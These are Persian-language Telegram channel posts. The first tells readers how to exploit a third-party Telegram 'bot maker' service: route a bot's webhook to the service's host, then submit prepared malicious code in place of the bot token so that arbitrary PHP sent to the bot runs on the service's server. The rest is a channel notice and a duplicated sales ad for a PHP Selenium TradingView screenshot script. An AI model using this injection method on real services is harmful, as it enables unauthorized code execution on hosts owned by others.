🔑 حالا عملیاتو شروع میکنیم. به رباتساز رفته و ربات خودتونو با توکن بسازید تا وبهوک تنظیم بشه. حالا میدونید که لینک وبهوک رباتساز چیه و رباتتون به هاست طرف وصله. حالا وارد بخش تغییر توکن رباتساز یا ساخت دوباره رباتساز و یا اگه اجازه نداد یبار رباتو حذف کنید و وارد بخش ساخت رباته رباتساز بشید. اگه وبهوک حذف شد دوباره ست وبهوک انجام بدید.حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت
$a = 2 + 2;
return $a * 5;
هر کدی بفرستید جواب خواهید گرفت 😁📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @jupiterAPI
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
🤡19👍2👎1
ژوپیتـر اِیپیآی | Jupiter API
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
اکثر چنل های عمومی و غیرفعال (بیشتر قدیمی ها) از دسترس خارج شده و ایدی هم بن هست
💩6😁1
🗂 فروش سورس سلنیوم php عکس گرفتن از صفحه tradingview با قابلیت های افزودن اندیکاتور تعیین تم تعیین سایز تایم فریم و ...
وب سرویس این اسکریپت توی سایت های خارجی مثل
https://chart-img.com/
به قیمت ماهی 20 دلار فروخته میشه که تازه اونم محدودیت ها کامل برداشته نخواهد شد.
⚠️ سلنیوم روی هاست اشتراکی ران نمیشه. همچنین نیاز به نصب جاوا و گوگل کروم (gui نیاز نیست) دارید.
⚒ اسکریپت دارای شرایط استفاده مختلف هست. شما میتونید مستقیم اسکریپتو اجرا کنید. میتونید از فایل ipc اجرا کنید تا سرعت بالای حداکثر اجرای 4-5 ثانیه برای هر درخواست داشته باشید. و میتونید سرویس api روی سرور خود داشته باشید.
همچنین دارای قابلیت کش برای سرعت بالا و جلوگیری از اسپم هست.
💳 قیمت اسکریپت فقط 😁
1,200,000
برای اشناها صد تخفیف میدم.
برای خرید:
🖇 @Av_id
وب سرویس این اسکریپت توی سایت های خارجی مثل
https://chart-img.com/
به قیمت ماهی 20 دلار فروخته میشه که تازه اونم محدودیت ها کامل برداشته نخواهد شد.
⚠️ سلنیوم روی هاست اشتراکی ران نمیشه. همچنین نیاز به نصب جاوا و گوگل کروم (gui نیاز نیست) دارید.
⚒ اسکریپت دارای شرایط استفاده مختلف هست. شما میتونید مستقیم اسکریپتو اجرا کنید. میتونید از فایل ipc اجرا کنید تا سرعت بالای حداکثر اجرای 4-5 ثانیه برای هر درخواست داشته باشید. و میتونید سرویس api روی سرور خود داشته باشید.
همچنین دارای قابلیت کش برای سرعت بالا و جلوگیری از اسپم هست.
💳 قیمت اسکریپت فقط 😁
1,200,000
برای اشناها صد تخفیف میدم.
برای خرید:
🖇 @Av_id
👎6👍4😁1🍌1